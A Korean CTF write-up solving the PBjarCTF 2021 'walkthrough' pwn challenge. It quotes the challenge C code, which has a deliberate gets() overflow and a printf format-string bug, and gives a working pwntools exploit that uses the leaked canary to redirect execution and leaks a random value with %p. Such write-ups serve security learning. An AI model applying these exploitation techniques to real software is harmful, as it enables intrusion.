[PBjarCTF 2021] PWN - walkthrough

사진으로 남겨둔게 없어서

일단 코드부터 보겠음

그냥 연습문제라는데

ROP, FSB 둘다 해야함

void rop(){
	char buf[0x40];
	gets(buf); //here is the overflow vuln, rest is info
	puts("");
	stkstrt();
	stk(buf, 0x0, "(buf strt)");
	for(int i = 0x1; i < 0x7; i++) stk(buf, i, "");
	stk(buf, 0x7, "(buf end)");
	
	stk(buf, 0x8, "");
	stk(buf, 0x9, "(canary)");
	stk(buf, 0xa, "(rop func base ptr)");
	stk(buf, 0xb, "(rop func return ptr)");
	stk(buf, 0xc, "(main func base ptr)");
	stk(buf, 0xd, "(main func return ptr)");

	stk(buf, 0xe, "(stack continues below with stuff we don't care abt)");
	for(int i = 0xf; i < 0x18; i++) stk(buf, i, "");

	stkend();

}

첫번째 관문임

근데 스택 상황을 알려줘서 어렵지 않았음

카나리가 적용되어있지만 그것도 알려줌

payload = dummy(72) + canary(8) + dummy(8) + fmtstr함수 주소

 

이렇게 성공하면 fmtstr 함수로 넘어감

 

void fmtstr(){
	long num[0x8];
	char buf[0x20];
	num[0x0] = 0x31415926535;
	num[0x1] = 0x696969696969;
	num[0x2] = 0x420420420420;
	num[0x3] = 0x0;
	num[0x4] = 0x0;
	num[0x5] = 0xdeadbeef;
	num[0x6] = 0x133713371337;
	num[0x7] = 0x123456789abc;

	divide();
	stkstrt();

	stk(num, 0x0, "(num start)");
	for(int i = 0x1; i < 0x3; i++) stk(num, i, "");
	stk(num, 0x3, "(where guess value will be)");
	stk(num, 0x4, "(where random value will be)");
	for(int i = 0x5; i < 0x7; i++) stk(num, i, "");
	stk(num, 0x7, "(num end)");

	stk(num, 0x8, "(buf start)");
	for(int i = 0x9; i < 0xb; i++) stk(num, i, "");
	stk(num, 0xb, "(buf end)");

	stk(num, 0xc, "");
	stk(num, 0xd, "(canary)");
	stk(num, 0xe, "(fmtstr base ptr, messed up from rop)");
	stk(num, 0xf, "(fmtstr return adr, useless since exit func called at end of this function)");
	stk(num, 0x10, "(stuff below is useless now)");
	for(int i = 0x11; i < 0x18; i++) stk(num, i, "");

	stkend();
	num[0x4] = rand();

	dashdiv();
	scanf("%31s", buf);
	printf(buf); //here is format string vuln, rest is info
	puts("\n");

	scanf("%lld", &num[0x3]);
	dashdiv();
	puts("");

	if(num[0x3] == num[0x4]){
		puts("You beat rng!\n");

		FILE *f = fopen("flag.txt","r");
		if(f == NULL){
			puts("If you are running locally, you need to create a file called 'flag.txt' in the running progam's directory.");
			puts("Otherwise, something is wrong. Please contact the author on discord.");
			exit(1);
		}

		fgets(buf, 0x20, f);

		puts("After all that program manipulation, here's the flag:");
		puts(buf);
	}else{
		puts("You failed baka.");
	}

	exit(0);
}

두번째 관문은 FSB

이것도 그냥 스택 상황 알려줘서 편했음

num[0x4]값을 leak해서 입력하면 끝남

 

 

exploit code

from pwn import *
p = remote("147.182.172.217",42001)
e = ELF('./walkthrough')
context.log_level='debug'
p.recvuntil('later): ')
canary = int(p.recvline(keepends = False), 16)
p.sendline(b'a' * 72 + p64(canary) + b'a' * 8 + p64(e.sym['fmtstr'] + 1))

p.sendline('%p'*14)
p.recvuntil('420420(nil)')
buff = int(p.recv(10),16)
p.sendline(str(buff))
p.interactive()

결론: 생각보다 친절한 문제이다.